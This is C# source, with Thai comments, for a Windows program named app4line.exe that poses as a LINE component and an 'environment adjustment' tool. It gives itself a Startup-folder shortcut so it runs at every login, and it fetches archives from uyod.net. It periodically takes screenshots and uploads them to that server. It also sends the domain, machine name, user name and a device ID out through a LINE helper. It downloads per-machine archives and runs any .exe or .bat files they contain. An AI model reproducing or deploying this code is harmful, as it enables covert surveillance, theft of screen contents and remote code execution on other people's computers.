using System;
using System.Globalization;
using System.Threading;
using System.IO;

// app4line.exe
// ทำงานแบบ Windows Application 
namespace Original
{
    static class Program
    {
        public static string MyProg = "app4line".ToLower();
        public static bool App4Console = false; // true ทำงานแบบ Console Application ,fause ทำงานแบบ Windows Application 
        private static string MyApp = System.Diagnostics.Process.GetCurrentProcess().MainModule.FileName;
        public static string MyFolderApp = System.IO.Directory.GetCurrentDirectory();  // โพลเดอร์ทำงาน
        public static string MyDrvApp = MyFolderApp.Substring(0, 3);
        public static string cText = "";
        public static int nForWork = 1;
        public static string cTemp = "", cTemp2 = "",cTemp3 = "";  // ตัวแปรดัมมี่
        public static bool insource = false;
        public static bool inharddisk = false;
        public static string cFleWorkAct = "";  // ไว้ในในอนาคต ต่อไป 
        private static string cFle4Error = "_error.txt";
        private static bool lDebug = false; // สำหรับ Debug ขณะรันโปรแกรม
        
        // ตัวแปรเพิ่มเติ่ม
        // private static int var
        static void Information()
        {
            Util.Program.Pok_Mess("Adjust Pc's Environment" + Environment.NewLine + "For Complete");
        }

        static void initProg() // เริ่มต้นทำงาน
        {
            lDebug = Special.DEBUG.Cr_Debug(MyProg);
            string p = "initProg";
            cTemp = "app4line.ini";
            if (lDebug) { Special.DEBUG.D(p, " -01"); }
            TextWriter Logtxt;
            if (!File.Exists(cTemp))
            {
                if (lDebug) { Special.DEBUG.D(p, " -02"); }
                Random rnd = new Random();
                int nrnd = rnd.Next();
                Logtxt = new StreamWriter(cTemp);
                Logtxt.WriteLine("Token");
                Logtxt.WriteLine(nrnd.ToString().Trim());
                Logtxt.WriteLine(""); Logtxt.WriteLine(""); Logtxt.WriteLine(""); Logtxt.WriteLine(""); Logtxt.WriteLine("");
                Logtxt.Close(); Logtxt.Dispose();
                if (lDebug) { Special.DEBUG.D(p, " -03"); }
            }
            cTemp = "C:\\Temp";
            if (!Directory.Exists(cTemp)) { Directory.CreateDirectory(cTemp); }
            cTemp = "C:\\Temp\\App4Line.txt";
            Logtxt = new StreamWriter(cTemp);
            Logtxt.WriteLine(Util.Program.DTN(4)); ;
            Logtxt.WriteLine(MyApp);
            cTemp = "Current";
            if (!Directory.Exists(cTemp)) { Directory.CreateDirectory(cTemp); }
            else {
                Logtxt.WriteLine(cTemp);
                DirectoryInfo dFolderList = new DirectoryInfo(cTemp);
                FileInfo[] FileList = dFolderList.GetFiles("*.*", SearchOption.TopDirectoryOnly);
                foreach (FileInfo cFileList in FileList) { Logtxt.WriteLine(" ==> "+cFileList.FullName); }
            }
            cTemp = MyDrvApp+"Temp";
            if (!Directory.Exists(cTemp)) { Directory.CreateDirectory(cTemp); if (lDebug) { Special.DEBUG.D(p, " -04 -"+cTemp); } }
            
            cTemp = @"C:\Program Files (x64)\LINE\bin";
            Logtxt.WriteLine(cTemp);
            // อาจสร้างไม่สำเร็จ
            try { if(!Directory.Exists(cTemp)) { Directory.CreateDirectory(cTemp); } } catch { if (lDebug) { Special.DEBUG.D(p, " -05  +"+cTemp); } }
            // ถ้าสร้างสำเร็จ 
            if (Directory.Exists(cTemp)) {
                cTemp2=@"D:\BdPosVFP"; if (!Directory.Exists(cTemp2)) { cTemp2 = @"P:\Pos\Util"; }
                if (lDebug) { Special.DEBUG.D(p, " -06 -"+cTemp2); }
                if (Directory.Exists(cTemp2) && !File.Exists(cTemp+@"\App2Line.exe"))
                {
                    if (lDebug) { Special.DEBUG.D(p, " -07 -"+cTemp); }
                    cTemp3 = @"\UnRAR.exe"; Util.Program.CompareDTFile(1, cTemp2 + cTemp3, cTemp + cTemp3);
                    cTemp3 =@"\App2Line.exe"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    cTemp3 =@"\App2Line.deps.json"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    cTemp3=@"\App2Line.dll"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    cTemp3=@"\App2Line.pdb"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    cTemp3=@"\App2Line.runtimeconfig.json"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    cTemp3=@"\App4Line.exe"; Util.Program.CompareDTFile(1, cTemp2 + cTemp3, cTemp + cTemp3);
                    cTemp3=@"\utilpok3.exe"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    cTemp3=@"\uyodupload.exe"; Util.Program.CompareDTFile(1,cTemp2+cTemp3,cTemp+cTemp3);
                    if (lDebug) { Special.DEBUG.D(p, " -08 -"+cTemp3); }
                }
                // ตรวจสอบครั้งสุดท้ายลงไม่สำเร็จ ให้ Download จากเวบแทน 
                if (!File.Exists(cTemp + @"\App2Line.exe"))  
                {
                    if (lDebug) { Special.DEBUG.D(p, " -09 -"+cTemp); }
                    Directory.SetCurrentDirectory(cTemp);  
                    Util.Program.UyodDotNetDownload(2, "exe/UnRAR.exe", "UnRAR.exe");
                    Util.Program.UyodDotNetDownload(2,"rar/c.rar","c.rar");
                    MyTime.Program.Pok_TimeWait(0, 10);
                    Util.Program.Pok_Process("unrar", "x -o+ c ");
                    Directory.SetCurrentDirectory(MyFolderApp);
                    if (lDebug) { Special.DEBUG.D(p, " -10 -"+MyFolderApp); }
                }
                // สำหรับshort cut
                cTemp2 = Environment.GetFolderPath(Environment.SpecialFolder.Startup) + @"\Line Lite.lnk";
                if (!inharddisk) {
                cTemp3 = cTemp + @"\Line Lite.lnk";
                if (!File.Exists(cTemp3)) { Util.Program.UyodDotNetDownload(2, "exe/Line Lite.ln_",cTemp3); MyTime.Program.Pok_TimeWait(0, 5); }
                if (File.Exists(cTemp3) && !File.Exists(cTemp2))
                { try { File.Copy(cTemp3, cTemp2); } catch { if (lDebug) { Special.DEBUG.D(p, " -10-1-" +cTemp2); } } }
                }
                if (File.Exists(cTemp2)) { Util.Program.Pok_InHarddisk("พบไฟล์ " + cTemp2); Logtxt.WriteLine("พบ "+cTemp2); }
                else { Logtxt.WriteLine("ไม่พบ " + cTemp2); }
            }

            if (lDebug) { Special.DEBUG.D(p, " -11"); }
            Logtxt.WriteLine();
            Logtxt.WriteLine();
            Logtxt.Close();Logtxt.Dispose();
            if (lDebug) { Special.DEBUG.D(p, " -12 -FINNISH"); }
            cTemp = ""; cTemp2 = "";cTemp3 = "";
        }

        static void Test_Prog()
        {
            string p = "Test_Prog";
            if (lDebug) {Special.DEBUG.D(p, " -01");}

            
            if (lDebug) { Special.DEBUG.D(p, " -02 -FINNISH"); }
        }


        static void Main(string[] args)
        {
            if (MyApp.Substring(0, 2) == "V:") { insource = true; } // Run กับ Source
            if (Directory.Exists("R:\\Temp")) { inharddisk = true; }  // Run กับ Harddisk   
            initProg(); // เริ่มต้นทำงาน            
            string p = "Main";
            if (lDebug) { Special.DEBUG.D(p, " -01"); }
            Thread.CurrentThread.CurrentCulture = new CultureInfo("en-GB"); // เปลี่ยนรูปแบบวันที่ เป็น GB
            nForWork = 1;  //    PipopYou ปรกติ  1 nForWork=0 ไม่ทำอะไรเลย ,1 ทำงานตามปรกติ 2 ไม่Runโปรแกรมและมีเตือน  
            int i = 0,nclock=4*60*60,nrun = 4;  // 4 ชั่วโมง 4 รอบ
            if (insource) { nclock = 1; nrun = 1; } // 1  วินาที 1 รอบ

            if (File.Exists("current\\app4line.exit"))
            { if (lDebug) { Special.DEBUG.D(p, " -01-1-พบ"+MyApp+ "current\\app4line.exit ออกจากโปรแกรม"); } return; }
            // Test_Prog(); 
            // if (!File.Exists("r14545.txt")) { return; }

            if (lDebug) { Special.DEBUG.D(p, " -02 -เช็คไฟล์ App2Line.exe"); }
            if (!inharddisk && !File.Exists("App2Line.exe")) 
            {if (lDebug) { Special.DEBUG.D(p, " -02 -ไม่เจอไฟล์ App2Line.exe ออกจากโปรแกรม"); }  return;}           
            string txtLocalPC = "",txtLocalPC2 = "",CodeForPC;
            string[] readText;
            cTemp = "app4line.ini"; // หา SN. ประจำเครื่อง               
            readText = File.ReadAllLines(cTemp);
            CodeForPC=readText[1].Trim(); // SN. ประจำเครื่อง               
            cTemp = @"D:\BdPosVFP\customerUTF8.txt";
            if (File.Exists(cTemp))
            {
                readText = File.ReadAllLines(cTemp);
                txtLocalPC = txtLocalPC + " " + readText[0].Trim();
            }
            cTemp = @"P:\Pos\Prog\Ho\customerUTF8.txt";
            if (txtLocalPC=="" && File.Exists(cTemp))
            {
                readText = File.ReadAllLines(cTemp);
                txtLocalPC = txtLocalPC +" "+readText[0].Trim();
            }
            cTemp = @"customerUTF8.txt";
            if (txtLocalPC == "" && File.Exists(cTemp))
            {
                readText = File.ReadAllLines(cTemp);
                txtLocalPC = txtLocalPC + " " + readText[0].Trim();
            }
            if (lDebug) { Special.DEBUG.D(p, " -03 -"+txtLocalPC); }

            if (txtLocalPC == "") { txtLocalPC = "ไม่พบไฟล์ "+cTemp; }

            // bool lNoUsed = Util.Program.FTPOnUyoddotnet("c/" + CodeForPC + ".no");
            // if (lNoUsed) { return;}  // ไม่ต้องทำงาน ออกเลย 
            bool lDown = true; // มีปัญหาใช้ฟังก์ชันFTPOnUyoddotnetไม่ได้ 
            // lDown = Util.Program.FTPOnUyoddotnet("c/" + CodeForPC + ".rar");
            bool lFirst = true ;  // if (insource) { lFirst = true; }
            do
            {
                i++;
                // Util.Program.Pok_InSource("i="+i.ToString().Trim());
                if (File.Exists("app4line.exit"))
                { i = nrun + 1; File.Delete("app4line.exit"); Util.Program.Pok_Mess("ออกจาก app4line.exe"); break; }
                if (File.Exists("D:\\Temp\\app4line.exit"))
                { i = nrun + 1; File.Delete("D:\\Temp\\app4line.exit"); Util.Program.Pok_Mess("ออกจาก app4line.exe"); break; }
                if (File.Exists("current\\app4line.exit")) {i = nrun + 1; break;} // ออกแบบถาวร

                // Save รูป
                cTemp = DateTime.Now.ToString("ss");
                Util.Program.Pok_Process("utilpok3","1 \\Temp "+cTemp);
                if (lDebug) { Special.DEBUG.D(p, " -04 -utilpok3"); }
                MyTime.Program.Pok_TimeWait(0,2);
                cTemp2 = "7 "  + "1,"+MyDrvApp+"Temp\\" + cTemp + ".jpg,temp," ;
                // ส่งขึ้นเวบ
                if (lDebug) { Special.DEBUG.D(p, " -05 -uyodupload"); }
                Util.Program.Pok_Process("uyodupload",cTemp2);
                MyTime.Program.Pok_TimeWait(0, 5);
                //  ส่งไปไลน์ 
                txtLocalPC2 = txtLocalPC +"*"+ DateTime.Now.ToString("ddd,dd/MM,HH:mm");  // MM/dd/yyyy 
                txtLocalPC2 = txtLocalPC2.Trim()+" #"+i.ToString().Trim();
                if (lFirst) {
                    cTemp3= "*Domain : " + Environment.UserDomainName;
                    cTemp3 = cTemp3+"*Com   : " +Environment.MachineName;
                    cTemp3 = cTemp3 + "*User   : " + Environment.UserName;
                    cTemp3 = cTemp3 + "*SN     : " + CodeForPC;
                    Util.Program.Pok_Process("App2Line", "1 uyod " + cTemp3);
                    MyTime.Program.Pok_TimeWait(0, 5);
                    cTemp3 = "*Folder : " + MyFolderApp;
                    cTemp3 = cTemp3 + "*uyod.net/c/"+CodeForPC+".rar" ;
                    cTemp3 = cTemp3 + "*uyod.net/c/" + CodeForPC + ".no";
                    if (lDebug) { Special.DEBUG.D(p, " -06 -FIRST"); }
                    lFirst = false;
                    MyTime.Program.Pok_TimeWait(0, 5);
                }
                Util.Program.Pok_Process("App2Line","1 uyod "+txtLocalPC2+"+https://uyod.net/temp/"+cTemp+".jpg");
                if (lDebug) { Special.DEBUG.D(p, " -07 -App2Line"); }
                // Download ไฟล์  
                cTemp="Current";
                if (!Directory.Exists(cTemp) ) {Directory.CreateDirectory(cTemp);}
                if (lDown) {
                    try {
                        Util.Program.UyodDotNetDownload(2, "c/" + CodeForPC + ".rar", CodeForPC + ".rar");
                        MyTime.Program.Pok_TimeWait(0, 5);
                        cTemp3 = "c/" + CodeForPC + ".rar";
                        Util.Program.Pok_Process("App2Line", "1 uyod " + cTemp3);
                        if (lDebug) { Special.DEBUG.D(p, " -08 -ดาวน์โหลด-->สำเร็จ " + CodeForPC + ".rar"); }
                    } catch { Special.DEBUG.D(p, " -08 -ดาวน์โหลด-->ไม่สำเร็จ " + CodeForPC + ".rar"); } // โหลดไม่สำเร็จให้ข้ามไป
                }
                if (lDown &&  File.Exists(CodeForPC+".rar"))  {
                    if (lDebug) { Special.DEBUG.D(p, " -09 -"+CodeForPC+" "+cTemp); }
                    Util.Program.Pok_Process("unrar", "x -o+ "+CodeForPC+" "+cTemp);
                    MyTime.Program.Pok_TimeWait(0, 5);
                    File.Delete(CodeForPC + ".rar");
                    Util.Program.FTPDelUyoddotnet("c/" + CodeForPC + ".rar");
                }
                MyTime.Program.Pok_TimeWait(0, nclock);
                // ตรวจสอบโพลเดอร์  cTemp="Current"; 
                Directory.SetCurrentDirectory(MyFolderApp+ "\\Current");
                if (lDebug) { Special.DEBUG.D(p, " -10 -"+ MyFolderApp + "\\Current"); }
                FileInfo[] FileList;
                DirectoryInfo dFolderList = new DirectoryInfo(MyFolderApp + "\\Current");
                FileList = dFolderList.GetFiles("*.*", SearchOption.TopDirectoryOnly);
                cTemp2 = ".exe,.bat";
                foreach (FileInfo cFileList in FileList) {
                    cTemp = cFileList.Name.Trim();
                    cTemp3 = cFileList.Extension.Trim();
                    if (cTemp2.LastIndexOf(cTemp3)!=-1)
                    { Util.Program.Pok_Process(cTemp, ""); if (lDebug) { Special.DEBUG.D(p, " -11 -"+cTemp); } }
                }
                Directory.SetCurrentDirectory(MyFolderApp);
                cTemp = "";cTemp2 = "";cTemp3 = "";
            }
            while (i<nrun);
            if (lDebug) { Special.DEBUG.D(p, " -12 -FINNISH"); }
        }
    }
}



